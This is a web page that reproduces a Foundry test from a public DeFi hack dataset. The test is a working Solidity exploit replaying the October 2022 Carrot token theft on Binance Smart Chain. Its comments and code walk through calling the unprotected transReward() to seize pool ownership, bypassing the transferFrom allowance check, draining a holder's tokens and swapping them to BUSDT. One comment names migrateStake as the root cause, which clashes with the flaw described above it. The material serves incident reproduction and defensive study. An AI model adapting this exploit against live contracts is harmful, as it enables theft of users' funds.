Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/Carrot_exp.sol

Public reproduction file for dataset entry Carrot.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/Carrot_exp.sol148 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost :
8// Attacker : 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c
9// Attack Contract : https://bscscan.com/address/0x5575406ef6b15eec1986c412b9fbe144522c45ae
10// Vulnerable Contract : https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC
11// Attack Tx : https://bscscan.com/tx/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC#code#L1406
16// @Analysis
17// Twitter BlockSec : https://twitter.com/BlockSecTeam/status/1579908411235237888
18// Twitter 1nf0s3cpt (SunWeb3Sec) : https://twitter.com/1nf0s3cpt/status/1580116116151889920
19// Article (in Chinese) : https://cloud.tencent.com/developer/article/2152960
21/*
22Carrot Token was exploited on 2022-10-10 12:53:41 (UTC) on Binance Smart Chain Mainnet.
23A total of $31,318 BUSDT was lost.
25Pool address: 0x6863b549bf730863157318df4496ed111adfa64f
27The Carrot token relays on '_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")'
28to prevent unapproved token transfers, it follows an ACTION-CHECK pattern where the tokens are sent without check and
29the sub() function on the _allowances mapping verifies that the sender did had the permissions to move the tokens.
31This final check can be avoided if the _msgSender() on the _isExcludedFromFee mapping is set to true,
32giving the _msgSender() the ability to move any user's tokens at its will.
34function transferFrom(
35 address sender,
36 address recipient,
37 uint256 amount
38) public virtual override returns (bool) {
39 _beforeTransfer(_msgSender(),recipient,amount);
41 if(_isExcludedFromFee[_msgSender()]){
42 _transfer(sender, recipient, amount);
43 return true;
44 }
45 _transfer(sender, recipient, amount);
46 _approve(
47 sender,
48 _msgSender(),
49 _allowances[sender][_msgSender()].sub(
50 amount,
51 "ERC20: transfer amount exceeds allowance"
52 )
53 );
54 return true;
57The only way to add an address to the _isExcludedFromFee mapping is if the owner of an external
58contract "Pool" is the caller of a transfer and the counter variable is set to 0. This variable
59would act as a safety measure to stop anyone else from adding their address after the exploiter has done it.
61function _beforeTransfer( address from,address to,uint256 amount) private{
62 if(from.isContract())
63 if(ownership(pool).owner() == from && counter ==0){
64 _isExcludedFromFee[from] = true;
65 counter++;
66 }
67 _beforeTokenTransfer(from, to, amount);
70The Pool address is set via the onlyOwner initPool() function on the token.
72function initPool(address _Pool) public onlyOwner {
73 require(pool == address(0));
74 pool = _Pool;
77Finally, to set the owner of the pool contract the transReward() on the token is called with the change owner
78function selector "0xbf699b4b" and the address desired, in the attack this would be "0x5575406ef6b15eec1986c412b9fbe144522c45ae".
80Root cause: Insufficient access control to the migrateStake function.
82Original PoC by: SunWeb3Sec
83Explanation by: Kayaba-Attribution
84*/
86interface ICarrot is IERC20 {
87 function transReward(
88 bytes memory data
89 ) external;
92contract ContractTest is Test {
93 Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
94 ICarrot constant CARROT_TOKEN = ICarrot(0xcFF086EaD392CcB39C49eCda8C974ad5238452aC);
95 IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT
97 function setUp() public {
98 vm.createSelectFork("bsc", 22_055_611);
99 // Adding labels to improve stack traces' readability
100 vm.label(address(PS_ROUTER), "PS_ROUTER");
101 vm.label(address(CARROT_TOKEN), "CARROT_TOKEN");
102 vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");
103 vm.label(address(0xF34c9a6AaAc94022f96D4589B73d498491f817FA), "CARROT_BUSDT_PAIR");
104 vm.label(address(0x6863b549bf730863157318df4496eD111aDFA64f), "Pool");
105 }
107 function testExploit() public {
108 emit log_named_decimal_uint(
109 "[Start] Attacker BUSDT balance before exploit", BUSDT_TOKEN.balanceOf(address(this)), 18
110 );
112 // Call vulnerable transReward() to set this contract as owner. No auth control
113 CARROT_TOKEN.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
115 // Empty transferFrom() called during the exploit. Apparently not needed.
116 // CARROT_TOKEN.transferFrom(address(this), address(CARROT_TOKEN), 0);
118 // Call transferFrom() to steal CARROT tokens using the same amount used in the exploit
119 CARROT_TOKEN.transferFrom(
120 0x00B433800970286CF08F34C96cf07f35412F1161, address(this), 310_344_736_073_087_429_864_760
121 );
123 // Swap all stolen Carrot to BUSDT
124 _CARROTToBUSDT();
126 emit log_named_decimal_uint(
127 "[End] Attacker BUSDT balance after exploit", BUSDT_TOKEN.balanceOf(address(this)), 18
128 );
129 }
131 function migrateWithdraw(
132 address,
133 uint256 //callback
134 ) public {}
136 /**
137 * Auxiliary function to swap all CARROT to BUSDT
138 */
139 function _CARROTToBUSDT() internal {
140 CARROT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
141 address[] memory path = new address[](2);
142 path[0] = address(CARROT_TOKEN);
143 path[1] = address(BUSDT_TOKEN);
144 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
145 CARROT_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
146 );
147 }

Analysis

Dataset entry

Public Foundry test for “Carrot” (2022-10-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c

  • Attack Contract

    0x5575406ef6b15eec1986c412b9fbe144522c45ae

  • Vulnerable Contract

    0xcff086ead392ccb39c49ecda8c974ad5238452ac

  • Attack Tx

    0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9

File record

Name
Carrot
Path
src/test/2022-10/Carrot_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a0e44d901da3de076d1c46f10d14c483305b3f01
Language
Solidity
Size
149 lines
Date
2022-10-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/Carrot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a0e44d901da3de076d1c46f10d14c483305b3f01, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.